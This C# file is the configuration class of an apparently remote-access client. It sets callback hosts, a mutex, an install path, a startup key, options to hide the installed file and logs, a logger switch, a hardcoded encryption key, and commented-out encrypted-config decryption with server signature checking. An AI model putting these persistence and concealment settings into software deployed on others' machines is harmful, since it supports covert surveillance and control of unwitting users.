﻿using GBT.Common.Cryptography;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Windows.Forms;

namespace GBT.Client.Config
{
    /// <summary>
    /// Stores the configuration of the client.
    /// </summary>
    public static class Settings
    {
//#if DEBUG
        public static string VERSION = Application.ProductVersion;
        public static string HOSTS = "localhost:8080;";
        public static int RECONNECTDELAY = 500;
        public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
        public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
        public static string SUBDIRECTORY = "Test";
        public static string INSTALLNAME = "test.exe";
        public static bool INSTALL = false;
        public static bool STARTUP = false;
        public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
        public static string STARTUPKEY = "Test key";
        public static bool HIDEFILE = false;
        public static bool ENABLELOGGER = false;
        public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
        public static string TAG = "RELEASE";
        public static string LOGDIRECTORYNAME = "Logs";
        public static string SERVERSIGNATURE = "";
        public static string SERVERCERTIFICATESTR = "";
        public static X509Certificate2 SERVERCERTIFICATE;
        public static bool HIDELOGDIRECTORY = false;
        public static bool HIDEINSTALLSUBDIRECTORY = false;
        public static string INSTALLPATH = "";
        public static string LOGSPATH = "";
        public static bool UNATTENDEDMODE = true;
        //本地局域网的IP
        public static string localIP = "";
        //本地域服务器的域名
        public static string domainName = "";
        //FTP服务器端口
        public static int ftpPost = 8090;
        //域名解析的域名
        public static string URL = "";


        public static bool Initialize()
        {
            SetupPaths();
            return true;
        }
        //#else
        //        public static string VERSION = "";
        //        public static string HOSTS = "localhost:8080;";
        //        public static int RECONNECTDELAY = 5000;
        //        public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
        //        public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
        //        public static string SUBDIRECTORY = "";
        //        public static string INSTALLNAME = "";
        //        public static bool INSTALL = false;
        //        public static bool STARTUP = false;
        //        public static string MUTEX = "";
        //        public static string STARTUPKEY = "";
        //        public static bool HIDEFILE = false;
        //        public static bool ENABLELOGGER = false;
        //        public static string ENCRYPTIONKEY = "";
        //        public static string TAG = "";
        //        public static string LOGDIRECTORYNAME = "";
        //        public static string SERVERSIGNATURE = "";
        //        public static string SERVERCERTIFICATESTR = "";
        //        public static X509Certificate2 SERVERCERTIFICATE;
        //        public static bool HIDELOGDIRECTORY = false;
        //        public static bool HIDEINSTALLSUBDIRECTORY = false;
        //        public static string INSTALLPATH = "";
        //        public static string LOGSPATH = "";
        //        public static bool UNATTENDEDMODE = false;

        //        public static bool Initialize()
        //        {
        //            if (string.IsNullOrEmpty(VERSION)) return false;
        //            var aes = new Aes256(ENCRYPTIONKEY);
        //            TAG = aes.Decrypt(TAG);
        //            VERSION = aes.Decrypt(VERSION);
        //            HOSTS = aes.Decrypt(HOSTS);
        //            SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
        //            INSTALLNAME = aes.Decrypt(INSTALLNAME);
        //            MUTEX = aes.Decrypt(MUTEX);
        //            STARTUPKEY = aes.Decrypt(STARTUPKEY);
        //            LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
        //            SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
        //            SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
        //            SetupPaths();
        //            return VerifyHash();
        //        }
        //#endif

        static void SetupPaths()
        {
            LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
            INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
        }

        static bool VerifyHash()
        {
            try
            {
                var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
                return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
                    Convert.FromBase64String(SERVERSIGNATURE));
                
            }
            catch (Exception)
            {
                return false;
            }
        }
    }
}
